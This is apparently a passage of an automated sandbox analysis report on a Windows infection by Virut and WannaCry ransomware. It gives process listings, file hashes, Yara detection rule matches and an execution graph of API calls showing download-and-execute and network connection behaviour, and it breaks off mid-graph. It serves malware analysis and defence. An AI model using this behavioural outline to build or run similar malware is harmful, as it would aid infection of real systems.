                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.326240016.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.326432451.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000000.324133707.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000015.00000002.810466261.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:22
                                                                                                                                                              Start time:07:26:34
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:23
                                                                                                                                                              Start time:07:26:38
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k rpcss -p
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000017.00000002.810464122.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000017.00000000.336396573.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000017.00000000.336462148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000017.00000000.334855799.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000017.00000002.810566391.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:24
                                                                                                                                                              Start time:07:26:42
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.343018795.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000002.810466263.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000002.810720445.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.342963544.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.342872546.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000018.00000000.342871140.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:25
                                                                                                                                                              Start time:07:26:44
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\fontdrvhost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:fontdrvhost.exe
                                                                                                                                                              Imagebase:0x7ff7d9820000
                                                                                                                                                              File size:790304 bytes
                                                                                                                                                              MD5 hash:31113981180E69C2773BCADA4051738A
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000019.00000000.346833993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000019.00000000.346816136.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000019.00000000.348006213.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000019.00000002.810769122.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000019.00000000.347977400.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000019.00000002.810480693.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:26
                                                                                                                                                              Start time:07:26:46
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\dwm.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:dwm.exe
                                                                                                                                                              Imagebase:0x7ff729570000
                                                                                                                                                              File size:62464 bytes
                                                                                                                                                              MD5 hash:70073A05B2B43FFB7A625708BB29E7C7
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.349657832.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.349997969.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000002.810783173.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000002.810556890.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.350022847.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001A.00000000.349706676.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:27
                                                                                                                                                              Start time:07:26:50
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:28
                                                                                                                                                              Start time:07:26:56
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\tasksche.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\WINDOWS\tasksche.exe /i
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:3514368 bytes
                                                                                                                                                              MD5 hash:7F7CCAA16FB15EB1C7399D422F8363E8
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000001C.00000000.371807837.000000000040E000.00000008.00000001.01000000.00000007.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmp, Author: us-cert code analysis team
                                                                                                                                                              • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                                                                                                                                                              Antivirus matches:
                                                                                                                                                              • Detection: 100%, Avira
                                                                                                                                                              • Detection: 100%, Joe Sandbox ML
                                                                                                                                                              • Detection: 89%, Metadefender, Browse
                                                                                                                                                              • Detection: 98%, ReversingLabs

                                                                                                                                                              General

                                                                                                                                                              Target ID:29
                                                                                                                                                              Start time:07:27:03
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001D.00000000.386641946.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001D.00000002.810556507.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:30
                                                                                                                                                              Start time:07:27:04
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001E.00000002.810557664.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001E.00000000.390180862.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:31
                                                                                                                                                              Start time:07:27:09
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001F.00000000.400526371.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 0000001F.00000002.810644718.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:32
                                                                                                                                                              Start time:07:27:10
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000020.00000000.402686306.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000020.00000002.810599121.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:33
                                                                                                                                                              Start time:07:27:14
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000021.00000000.411578553.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000021.00000002.810557775.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:34
                                                                                                                                                              Start time:07:27:16
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000022.00000002.810637901.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000022.00000000.415154711.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:35
                                                                                                                                                              Start time:07:27:17
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\UsoClient.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\usoclient.exe StartScan
                                                                                                                                                              Imagebase:0x7ff71a960000
                                                                                                                                                              File size:40960 bytes
                                                                                                                                                              MD5 hash:4BBDA6EBE47623A13B100DE4B0C759E3
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:36
                                                                                                                                                              Start time:07:27:17
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\UNP\UpdateNotificationMgr.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\System32\UNP\UpdateNotificationMgr.exe
                                                                                                                                                              Imagebase:0x7ff726de0000
                                                                                                                                                              File size:398752 bytes
                                                                                                                                                              MD5 hash:268864F1F8A42C62E042C0CD9840CD02
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:37
                                                                                                                                                              Start time:07:27:17
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\taskhostw.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:taskhostw.exe None
                                                                                                                                                              Imagebase:0x7ff656af0000
                                                                                                                                                              File size:87904 bytes
                                                                                                                                                              MD5 hash:CE95E236FC9FE2D6F16C926C75B18BAF
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:38
                                                                                                                                                              Start time:07:27:17
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000026.00000002.810462526.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000026.00000000.418114506.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              General

                                                                                                                                                              Target ID:39
                                                                                                                                                              Start time:07:27:17
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                              Programmed in:C, C++ or other language

                                                                                                                                                              General

                                                                                                                                                              Target ID:40
                                                                                                                                                              Start time:07:27:23
                                                                                                                                                              Start date:21/07/2022
                                                                                                                                                              Path:C:\Windows\System32\svchost.exe
                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                              Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog
                                                                                                                                                              Imagebase:0x7ff73c930000
                                                                                                                                                              File size:51288 bytes
                                                                                                                                                              MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                              Yara matches:
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000028.00000000.429886931.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                              • Rule: JoeSecurity_Virut, Description: Yara detected Virut, Source: 00000028.00000002.810637970.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security

                                                                                                                                                              Disassembly

                                                                                                                                                              Reset < >

                                                                                                                                                                Execution Graph

                                                                                                                                                                Execution Coverage:2.8%
                                                                                                                                                                Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                Signature Coverage:62.8%
                                                                                                                                                                Total number of Nodes:624
                                                                                                                                                                Total number of Limit Nodes:2
                                                                                                                                                                execution_graph 6070 7fea4baa 6073 7fea4bdd 6070->6073 6074 7fea4be9 6073->6074 6081 7fea43d8 6074->6081 6076 7fea4bf6 6077 7fea43d8 5 API calls 6076->6077 6080 7fea4ca3 6076->6080 6078 7fea4c97 6077->6078 6079 7fea43d8 5 API calls 6078->6079 6078->6080 6079->6080 6082 7fea43e2 GetFileAttributesA 6081->6082 6083 7fea4401 CreateFileA 6081->6083 6082->6083 6084 7fea43ee SetFileAttributesA 6082->6084 6086 7fea443b CreateFileMappingA 6083->6086 6084->6083 6088 7fea44b2 MapViewOfFile 6086->6088 6090 7fea44e7 6088->6090 6090->6076 6789 a8656c 6792 a86586 6789->6792 6793 a86576 6792->6793 6794 a86591 6792->6794 6796 a86597 6794->6796 6797 a82574 5 API calls 6796->6797 6798 a865a9 6797->6798 6798->6793 6799 a8116f LoadLibraryA 6802 a81196 GetProcAddress 6799->6802 6801 a81180 6802->6801 6370 a83820 6372 a83826 GetSystemTime 6370->6372 6380 a8386a 6372->6380 6373 a838a4 Sleep 6373->6380 6374 a839ca 6375 a838bc InternetGetConnectedState 6375->6380 6376 a838ec gethostbyname 6377 a83912 socket 6376->6377 6376->6380 6378 a83928 ioctlsocket connect Sleep 6377->6378 6377->6380 6378->6380 6379 a839b7 closesocket 6379->6380 6380->6373 6380->6374 6380->6375 6380->6376 6380->6379 6381 a81422 LookupPrivilegeValueA NtAdjustPrivilegesToken 6815 a82762 6817 a82768 6815->6817 6818 a82839 InternetCloseHandle 6817->6818 6819 a82780 GetTempPathA 6817->6819 6827 a827a7 GetTempFileNameA CreateFileA 6819->6827 6821 a827a3 CreateFileA 6822 a82829 InternetCloseHandle 6821->6822 6823 a827ce InternetReadFile 6821->6823 6822->6818 6824 a827e8 6823->6824 6825 a827fe CloseHandle CreateProcessA 6823->6825 6824->6825 6826 a827ea WriteFile 6824->6826 6825->6822 6826->6823 6826->6825 6828 a82829 InternetCloseHandle 6827->6828 6829 a827ce InternetReadFile 6827->6829 6832 a82839 InternetCloseHandle 6828->6832 6830 a827e8 6829->6830 6831 a827fe CloseHandle CreateProcessA 6829->6831 6830->6831 6833 a827ea WriteFile 6830->6833 6831->6828 6832->6821 6833->6829 6833->6831 6834 a82665 6836 a8266b CreateThread CloseHandle 6834->6836 6837 a83bd0 6836->6837 6839 a83bd5 6837->6839 6840 a83c41 6839->6840 6843 a83bf3 GetWindowsDirectoryA 6839->6843 6892 a8252f NtOpenSection 6840->6892 6842 a83c46 6845 a83c4d 6842->6845 6846 a83c93 GetSystemDirectoryA 6842->6846 6848 a83cbe 6843->6848 6893 a83c5a GetModuleHandleA 6845->6893 6935 a83cb7 lstrcat 6846->6935 6975 a83cce LoadLibraryA 6848->6975 6892->6842 6894 a83c76 6893->6894 6895 a83c64 6893->6895 7014 a83c88 GetModuleHandleA 6894->7014 6897 a83c6c GetProcAddress 6895->6897 6897->6894 6936 a83cbe 6935->6936 6937 a83cce 144 API calls 6936->6937 6938 a83cc3 GetProcAddress LoadLibraryA 6937->6938 6940 a810ce 2 API calls 6938->6940 6941 a83d15 6940->6941 6942 a83d2a GetTickCount 6941->6942 6943 a83d42 6942->6943 6944 a83ddf GetVolumeInformationA 6943->6944 6945 a83e12 6944->6945 6946 a83ebd 6945->6946 6947 a83e4d 93 API calls 6945->6947 6948 a83ec9 CreateThread CloseHandle 6946->6948 6949 a83ee7 6946->6949 6956 a83e41 6947->6956 6948->6949 6950 a83ef8 42 API calls 6949->6950 6951 a83eec 6950->6951 6952 a810ce 2 API calls 6951->6952 6953 a83f16 6952->6953 6954 a83f27 22 API calls 6953->6954 6955 a83f1b 6954->6955 6957 a810ce 2 API calls 6955->6957 6956->6946 6958 a8339d 5 API calls 6956->6958 6959 a83f4d 6957->6959 6958->6946 6960 a83f5a WSAStartup CreateThread CloseHandle CreateEventA 6959->6960 6961 a8425f RtlExitUserThread 6959->6961 6964 a83fa3 6960->6964 6962 a83ff6 gethostbyname 6962->6964 6963 a83fe7 lstrlen 6963->6962 6963->6963 6964->6961 6964->6962 6964->6963 6965 a84012 socket 6964->6965 6966 a8421f SetEvent 6964->6966 6967 a84231 Sleep ResetEvent 6964->6967 6969 a84206 closesocket 6964->6969 6970 a84080 GetVersionExA 6964->6970 6971 a84103 wsprintfA 6964->6971 6972 a8412b CreateThread CloseHandle 6964->6972 6973 a841d7 Sleep 6964->6973 6965->6964 6968 a84037 connect 6965->6968 6966->6967 6967->6964 6968->6964 6968->6969 6969->6964 6970->6964 6971->6964 6972->6964 6973->6964 6974 a841e3 GetTickCount 6973->6974 6974->6964 7165 a83ce3 GetProcAddress LoadLibraryA 6975->7165 7055 a826d4 7014->7055 7017 a83cb7 170 API calls 7018 a83caa GetProcAddress LoadLibraryA 7017->7018 7020 a810ce 2 API calls 7018->7020 7021 a83d15 7020->7021 7022 a83d2a GetTickCount 7021->7022 7023 a83d42 7022->7023 7024 a83ddf GetVolumeInformationA 7023->7024 7025 a83e12 7024->7025 7026 a83ebd 7025->7026 7057 a83e4d LoadLibraryA 7025->7057 7028 a83ec9 CreateThread CloseHandle 7026->7028 7029 a83ee7 7026->7029 7028->7029 7087 a83ef8 LoadLibraryA 7029->7087 7056 a826c8 GetSystemDirectoryA 7055->7056 7056->7017 7109 a83e64 GetProcAddress GetModuleFileNameA wsprintfA 7057->7109 7088 a83f16 7087->7088 7089 a810ce 2 API calls 7087->7089 7090 a83f27 22 API calls 7088->7090 7089->7088 7091 a83f1b 7090->7091 7092 a810ce 2 API calls 7091->7092 7093 a83f4d 7092->7093 7094 a83f5a WSAStartup CreateThread CloseHandle CreateEventA 7093->7094 7095 a8425f RtlExitUserThread 7093->7095 7098 a83fa3 7094->7098 7096 a83ff6 gethostbyname 7096->7098 7097 a83fe7 lstrlen 7097->7096 7097->7097 7098->7095 7098->7096 7098->7097 7099 a84012 socket 7098->7099 7100 a8421f SetEvent 7098->7100 7101 a84231 Sleep ResetEvent 7098->7101 7103 a84206 closesocket 7098->7103 7104 a84080 GetVersionExA 7098->7104 7105 a84103 wsprintfA 7098->7105 7106 a8412b CreateThread CloseHandle 7098->7106 7107 a841d7 Sleep 7098->7107 7099->7098 7102 a84037 connect 7099->7102 7100->7101 7101->7098 7102->7098 7102->7103 7103->7098 7104->7098 7105->7098 7106->7098 7107->7098 7108 a841e3 GetTickCount 7107->7108 7108->7098 7110 a83e98 7109->7110 7111 a83ebd 7110->7111 7138 a8339d 7110->7138 7113 a83ec9 CreateThread CloseHandle 7111->7113 7114 a83ee7 7111->7114 7113->7114 7115 a83ef8 42 API calls 7114->7115 7116 a83eec 7115->7116 7117 a810ce 2 API calls 7116->7117 7118 a83f16 7117->7118 7146 a83f27 LoadLibraryA 7118->7146 7139 a833d3 7138->7139 7139->7139 7140 a833d8 NtOpenSection 7139->7140 7141 a8358b 7140->7141 7142 a833f7 NtQuerySystemInformation 7140->7142 7141->7111 7143 a83407 MapViewOfFile CloseHandle 7142->7143 7143->7141 7145 a83448 7143->7145 7144 a8344f UnmapViewOfFile 7144->7141 7145->7141 7145->7144 7147 a8425f RtlExitUserThread 7146->7147 7148 a83f35 7146->7148 7149 a83f4d 7148->7149 7150 a810ce 2 API calls 7148->7150 7149->7147 7151 a83f5a WSAStartup CreateThread CloseHandle CreateEventA 7149->7151 7150->7149 7154 a83fa3 7151->7154 7152 a83ff6 gethostbyname 7152->7154 7153 a83fe7 lstrlen 7153->7152 7153->7153 7154->7147 7154->7152 7154->7153 7155 a84012 socket 7154->7155 7156 a8421f SetEvent 7154->7156 7157 a84231 Sleep ResetEvent 7154->7157 7159 a84206 closesocket 7154->7159 7160 a84080 GetVersionExA 7154->7160 7161 a84103 wsprintfA 7154->7161 7162 a8412b 